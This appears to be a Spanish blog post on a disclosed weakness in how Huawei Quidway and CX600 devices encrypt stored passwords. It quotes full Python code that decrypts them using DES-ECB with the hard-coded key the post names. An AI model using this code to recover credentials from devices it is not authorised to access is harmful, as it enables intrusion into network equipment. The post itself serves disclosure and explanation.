La empresa china Huawei se dedica a equipos destinados a la gestión de redes y telecomunicaciones, y también ahora en el mundo de los smartphones y tablets. Se ha hecho público que el cifrado de las contraseñas de sus productos son débiles.
Maneras de almacenar contraseñas:
- Contraseña hash, cuando validamos al usuario le aplicamos la misma función hash que se usó durante el almacenamiento. Si la cadena resultante es igual a la introducida, queda validado. Este sistema no guarda la contraseña en claro en ningún momento.
- Para generar los hashes se puede usar sal, una entrada sería la clave y otra la sal (bits aleatorios). Con esto puedes protegerte de ataques por diccionario.
El código en Python para la extracción de las contraseñas se llama decrypt_password y es el siguiente:
from Crypto.Cipher import DES
def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')
def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0
for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff
out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)
j += 3
return "".join(out)
def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)
return r.rstrip("\x00")
El algoritmo de cifrado usado es
DES con ECB (Electronic codebook), que es
el método más simple al usar el algoritmo DES.
- En primer lugar el algoritmo transforma los caracteres ascii de la contraseña cifrada a binario (función ascii_to_binary), y posteriormente se queda con los 16 primeros bytes, eliminando el resto.
- A continuación aplica el descifrado del algoritmo DES en modo ECB con la clave \x01\x02\x03\x04\x05\x06\x07\x08 y elimina los caracteres NUL del final de la contraseña.
- El error ha sido confirmado en los productos de la familia Quidway y en los CX600 (routers y switches), aunque puede existir en más productos afectados.
El fabricante con todo esto ha publicado que se limiten el acceso a los routers, gestionar estrictamente los pribilegios de las cuentas y cambiar las contraseñas frecuentemente.
El fabricante ha asignado la
referencia Huawei-SA-20120827-01-CX600 al fallo.
No hay comentarios:
Publicar un comentario